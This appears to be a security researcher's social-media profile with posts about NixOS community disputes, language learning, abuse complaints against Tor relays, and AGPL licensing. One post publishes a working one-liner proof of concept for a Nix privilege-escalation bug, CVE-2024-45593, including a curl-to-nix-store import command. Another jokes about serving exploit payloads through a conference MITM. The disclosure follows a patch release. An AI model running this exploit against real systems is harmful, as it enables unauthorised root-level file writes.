Pierre Bourdon

Reverse engineer, open source developer and maintainer. Ex-infrastructure security tech lead, now on break. he/him. pfp: vgen.co/angelrosestar

Website: https://delroth.net
Matrix: Pierre Bourdon (npub18ah…5v5z):delroth.net
GitHub: https://github.com/delroth
Physical location: Zürich, Switzerland

Last Notes

2025-04-01 14:14:46 CEST

Ah yes, what a good joke, the #nixos guy who got banned from Hachyderm for being an asshole complaining about "woke ideology" posted on the NixOS forums a "joke" about being endorsed by Elon Musk, going on the Joe Rogan podcast, and moving the foundation's seat to Texas.
"April's fool lol definitely not projecting"
Btw, that guy was in charge of recruiting students for an outreach program/internship last year 🤡
^ this was not an April's fool
https://discourse.nixos.org/t/breaking-doge-to-recommend-nix-widely/62490
https://mastodon.delroth.net/system/media_attachments/files/114/262/653/553/521/640/original/a6422595596b5890.png

2025-03-10 15:08:31 CET

TIL from https://github.com/iwsfutcmd/ptouch that it looks like someone really cared about printing porn on their label printer and didn't even bother with plausible deniability (check the sample pictures in the repo, mild NSFW).
(h/t @npub12z2…3e0f)

2025-03-10 12:33:11 CET

The DetSys duality:
- Look at how cool and in touch with the Nix community we are, one of our cofounders is the creator of Nix! (don't look too closely at when we were actually founded and when eelco joined our company though)
- Oh no we definitely don't hold any control over the CppNix project and all of eelco's work on CppNix is voluntary and not paid for by DetSys, it's on his own time, we don't influence this.
(Depending of course on who they speak to and when.)
#nixos

2025-02-06 23:28:32 CET

Commissioned https://vgen.co/angelrosestar / https://bsky.app/profile/angelrosestar.bsky.social today to draw a version of my avatar that's not just a rip from game assets - pretty happy with the results, I'm now a slightly less unoriginal cat online.
A++ would recommend paying artists.

2024-12-29 01:33:22 CET

- reply

as a data point, after taking 3 months of evening German classes and reaching end of A2 (wasn't starting entirely from scratch), I did the Duolingo placement test to see how far their course went, and passed it with 0 errors (which unlocked everything). A friend of mine has been at it daily for 2.5 years (very proud of his streak) and hasn't reached this level yet.

2024-12-29 01:30:11 CET

- reply

in terms of time efficiency to learn a language, I'd rank Duolingo at the bottom of what I've used personally. It's only slightly better than "not doing anything", because frankly it sets you up with shitty basics and tends to make people overvalue their actual skills due to the triviality of the testing done by Duolingo.
Quoting someone I can't recall: "just because you can walk 50km along the rail tracks doesn't mean you wouldn't have been better off riding the train".

2024-11-05 02:20:56 CET

- reply

New update: the CTO from "watchdogcyberdefense.com" has been in my emails, and I can only summarize our exchanges by my current feeling of "wow there should be an exam to be allowed to send more than N abuse complaints/day".
To quote from them: they're seeing "1.3 billion attacks logged in the past 24h", they claim IPs are infected because VirusTotal says so, and they're trying to make a deal with me where if I iptables OUTPUT DROP their network they'll stop sending abuse complaints to Hetzner.

2024-10-30 16:06:57 CET

- reply

Update: I got an email from Hetzner's legal team today saying they came across my blog post (nice!). Paraphrasing:
- They're monitoring and understand that there is no actual abuse being done from these Tor relays getting spoofed.
- They emphasized that they do not routinely take action on this kind of abuse complaints, and that's why they forward them without requiring reply/action from the customer.
Love hearing this, and I'm actually impressed by Hetzner's response! Major props.

2024-09-10 20:16:00 CEST

Now that Nix 2.24.6 is out, my oneliner PoC for CVE-2024-45593:
$ nix-store --export $(nix-build -E '(import <nixpkgs> {}).runCommand "exploit" {} "mkdir -p $out/zzz; ln -s /root $out/foo; touch $out/zzz/pwned"') | sed 's/zzz/foo/' > pwned.nar
This creates a .nar which when imported into the Nix store by Nix 2.24 will write an empty file in /root
$ curl https://delroth.net/pwned.nar | nix-store --import
Rarely are LPE vulns so trivial to trigger and exploit.

2024-09-10 00:13:38 CEST

- reply

to avoid buffering archives in their packed form (either to RAM or to disk), Nix streams unpacking to the /nix/store and checks the signature of the extracted data at the end. Which in theory is fine... until you have a vuln at unpacking time like this one. Or a vuln in the NAR parser (which isn't fuzzed, afaik).

2024-09-09 23:53:47 CEST

lol there are apparently Nix users that have their cache upstream configured as http:// because "the NARs are signed, what could go wrong" and "that way transparent proxies can work better".
Who wants to set up a MITM at next NixCon serving GHSA-h4vv-h3jq-v493 payloads? :>

2024-08-29 18:41:55 CEST

- reply

that video linked in Wedson's retirement mail is... damning, to say the least. Wow. And the fact that this is apparently just acceptable behavior in that community...

2024-08-19 19:16:22 CEST

- reply

"In the Netherlands alone, these solar panels generate an output equivalent to at least 25 medium sized nuclear power plants."
That seems an order of magnitude wrong. https://www.cbs.nl/en-gb/news/2024/10/nearly-half-the-electricity-produced-in-the-netherlands-is-now-renewable claims 21TWh for solar in NL in 2023, average NPP in the USA in 2021 based on https://www.eia.gov/energyexplained/nuclear/data-and-statistics.php data (+ number of plants from https://www.eia.gov/energyexplained/nuclear/nuclear-power-plants.php) is 14TWh.

2024-08-16 04:18:10 CEST

- reply

That's without even getting into the fact that really, the AGPL is GPL + a "usage restriction" clause camouflaging as not being one (because that would be against the FSF's principles).
I suspect most of the AGPL users would be better served with some of the more permissive source-available licenses. Unfortunately, people seem to have allergic reactions to non-OSI approved licenses, and AGPL being OSI approved even though it sucks means it gets regarded more highly than better alternatives.

2024-08-16 04:16:08 CEST

Hot take, don't @ me: AGPL should never have been an OSI approved license.
The license is basically a compliance trap, and I would posit that > 99% of modified AGPL software violates the license.
This leads to a world where license enforcement is entirely up to arbitrary decisions by the copyright owner. Any contributor to an AGPL software package (without CLA) can go and mass-send C&Ds and/or request $$$, kind of like the Creative Commons copyright trolls have been doing for CC-BY violations.